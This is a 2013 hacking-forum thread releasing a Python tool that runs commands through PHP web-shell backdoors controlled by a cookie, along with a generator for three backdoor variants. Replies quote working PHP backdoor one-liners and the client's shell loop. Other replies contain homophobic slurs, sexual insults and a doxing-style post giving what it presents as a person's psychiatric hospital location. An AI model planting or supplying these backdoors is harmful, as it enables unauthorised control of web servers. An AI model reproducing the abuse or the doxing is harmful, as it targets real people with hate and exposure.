

Forum:[Hack Forums](#)

Thread: [Dongathon - Python Cookie Backdoor Shell Interaction \[Release\]](#)

Nyckel - August 19, 2013, 8:19 pm

So a little over a month ago I created a basic python script that allows you to interact with a PHP backdoor through a cookie. The process is simple:

Take user input --> Send Input as a cookie to designated script --> PHP RCE function executes the command and returns output

The nice thing about this is that I can use any type of PHP function/backdoor I want to execute my command. I've recently decided to revamp my script and release it here on HF. I've added a generator which automatically creates 3 different types of php backdoors that are compatible with my script. These include:

Preg_replace: utilizes preg_replace() with the \e modifier

Call_user_func: utilizes call_user_func() with system()

Non-alphanumeric: utilizes XOR to make a non-alphanumeric backdoor

Of course the beauty of this script is that you can use whatever type of backdoor you like, just make sure it executes \$_COOKIE['p1r1'] or another if you just want to edit the python script all together. The script also returns everything between <pre> tags, so keep that in mind if your modding it.

ScreenShots:

Usage and Examples:

Spoiler [\(Click to View\)](#)

Generator and Shell

Spoiler [\(Click to View\)](#)

Think of this as something like a simplified and easily customizable Weeveely or Webacoo. It's not meant to be anything special, but it still works well. Thanks for reading and I hope you enjoy.

<http://pastebin.com/raw.php?i=tcdE9Ytv>

ktmercedes - August 20, 2013, 12:03 am

Great Effort. Really gonna try this one. Thank you for sharing

SoLong - August 20, 2013, 4:58 am

I don't think I see myself in the credits section? Probably my vision, I'll go afk 5 mins and when I come back I expect it'll be there.

BeggFoMercy - August 20, 2013, 5:32 am

I like it , Also I have made some thing familiar to that but in bash , Here you go If you want to take a look : <https://hackforums.net/showthread.php?tid=3130669> .

Thanks for the share .

Im gone brah - August 20, 2013, 5:40 am

I'll be sure to take a look at it D:

HaxOr? - August 20, 2013, 6:28 am

Aww, this is a nice tool. I'm gonna use it for sure. <3

zeru_0_X - August 20, 2013, 6:33 am

(Aug 20, 2013 06:28 AM)HaxOr? Wrote: [\[CITE\]](#) Aww, this is a nice tool. I'm gonna use it for sure. <3
Is it just me or does that "bra" in your signature look like a big cock?

And hi :)

Nyckel - August 20, 2013, 8:23 am

(Aug 20, 2013 06:22 AM)ankr- Wrote: [\[CITE\]](#) Code print("Invalid Option: Exiting")
exit(1)why would you exit instead of try again?

If you can't manage to give it a number between 1 and 4, you deserve to have rerun the script.

Thanks for the responses everyone.

Light Yagami. - August 20, 2013, 1:58 pm

(Aug 20, 2013 06:33 AM)zeru_0_X Wrote: [\[CITE\]](#) Is it just me or does that "bra" in your signature look like a big cock?

And hi :)

u are one gay person i hate u fagget

python python python is cool

Keeper - August 20, 2013, 2:19 pm

I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.

Krieg - August 20, 2013, 2:20 pm

(Aug 20, 2013 02:19 PM)Keeper Wrote: [\[CITE\]](#) I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.

And this is good?

Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:

PHP Code

```
<?php
```

```
$eval = call_user_func(system, $_COOKIE['p1r1']); // Thanks to big boi Phizo
```

```
$eval;
```

No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?

PHP Code

```
<?php
```

```
call_user_func(system,$_COOKIE['p1r1']);
```

```
works just fine.
```

Nyckel - August 20, 2013, 2:28 pm

(Aug 20, 2013 02:20 PM)Krieg Wrote: [\[CITE\]](#) And this is good?

Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:

PHP Code

```
<?php
```

```
$eval = call_user_func(system, $_COOKIE['p1r1']); // Thanks to big boi Phizo
```

```
$eval;
```

No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?

PHP Code

```
<?php
```

```
call_user_func(system,$_COOKIE['p1r1']);
```

```
works just fine.
```

Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.

Keeper - August 20, 2013, 2:36 pm

(Aug 20, 2013 02:28 PM)Nyckel Wrote: [\[CITE\]](#) Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.

I'll ease his efforts. Here is Phizo's tutorial <https://hackforums.net/showthread.php?tid=3591942>

He did bad and should feel bad.

Keeper - August 20, 2013, 2:45 pm

(Aug 20, 2013 02:42 PM)ankr- Wrote: [\[CITE\]](#) hai kepp
hauu are you

IWAN IWANOW PETROW

faget lel

You've miscopied it. My name is with a "v" instead of "w".

[Video: <http://www.youtube.com/watch?v=DtNtvLgmD9M>]

123penis - August 20, 2013, 2:51 pm

Code #Cookie Shell

```
def shell(site):
```

```
    signal.signal(signal.SIGINT, signal_handler)
```

```
    while True:
```

```
        http = httplib2.Http()
```

```
        cookie_value = "p1r1=" + raw_input("shell@dongathon:~$ ")
```

```
        headers = {'Cookie':cookie_value}
```

```
        response, content = http.request(site, 'GET', headers=headers)
```

```
        for item in content.split("</pre>"):
```

```
            if "<pre>" in item:
```

```
                out = item [ item.find("<pre>")+len("<pre>") : ]
```

```
                print(out[:-1])You don't deserve to live.
```

Keeper - August 20, 2013, 2:53 pm

(Aug 20, 2013 02:49 PM)ankr- Wrote: [\[CITE\]](#) HA I DIDNT EVEN INTEND TO POST A NAME
RELATED TO YOU

YOU JUST OUTED YOURSELF

But I have nothing to hide. Why not let someone to threaten me with a dox of mine.

nyckel i be spamming here for the good of this thread

Nyckel - August 20, 2013, 3:13 pm

(Aug 20, 2013 02:51 PM)123penis Wrote: [\[CITE\]](#) Code #Cookie Shell

def shell(site):

 signal.signal(signal.SIGINT, signal_handler)

 while True:

 http = httplib2.Http()

 cookie_value = "p1r1=" + raw_input("shell@dongathon:~\$ ")

 headers = {'Cookie':cookie_value}

 response, content = http.request(site, 'GET', headers=headers)

 for item in content.split("</pre>"):

 if "<pre>" in item:

 out = item [item.find("<pre>")+len("<pre>") :]

 print(out[:-1])You don't deserve to live.

COME AT ME ON YOUR REAL ACCOUNT FGT.

Code works and I wanted to use standard libs. That means no beautiful soup for parsing and no requests for sending teh cookies.

SIM-1858092 - August 20, 2013, 3:15 pm

Thanks dude,

Will try later and get back with what i say :)

Dafull97 ?

zeru_0_X - August 20, 2013, 6:48 pm

(Aug 20, 2013 02:53 PM)Keeper Wrote: [\[CITE\]](#) But I have nothing to hide. Why not let someone to threaten me with a dox of mine.

nyckel i be spamming here for the good of this threadInpatient Psychiatric Childrens Hospital USA
FL 51491 Autism spectrum Disorders Unit 6th Street
2nd room on the right

(Aug 20, 2013 01:58 PM)Legion=skids Wrote: [\[CITE\]](#) u are one gay person i hate u fagget
python python python is coolur mom gave me head and i had sex with ur sister fagot

Phizo - August 20, 2013, 9:25 pm

(Aug 20, 2013 02:36 PM)Keeper Wrote: [\[CITE\]](#) I'll ease his efforts. Here is Phizo's tutorial

<https://hackforums.net/showthread.php?tid=3591942>

He did bad and should feel bad.

My usage of variables was to show you how to call it once stored in a variable. Notice that it differs from the other functions provided.

Whilst it's something simple some people can figure out, others can't.

A couple of people have questioned this, and seemingly having difficulty interpreting why I'm doing what's shown.

It's not my problem if you decide to rip it. That's all on you.

Light Yagami. - *August 20, 2013, 9:52 pm*

(Aug 20, 2013 09:25 PM)Phizo Wrote: [\[CITE\]](#) My usage of variables was to show you how to call it once stored in a variable. Notice that it differs from the other functions provided.

Whilst it's something simple some people can figure out, others can't.

A couple of people have questioned this, and seemingly having difficulty interpreting why I'm doing what's shown.

It's not my problem if you decide to rip it. That's all on you.

phizo phizo phizo i watching hentai and her boobs are big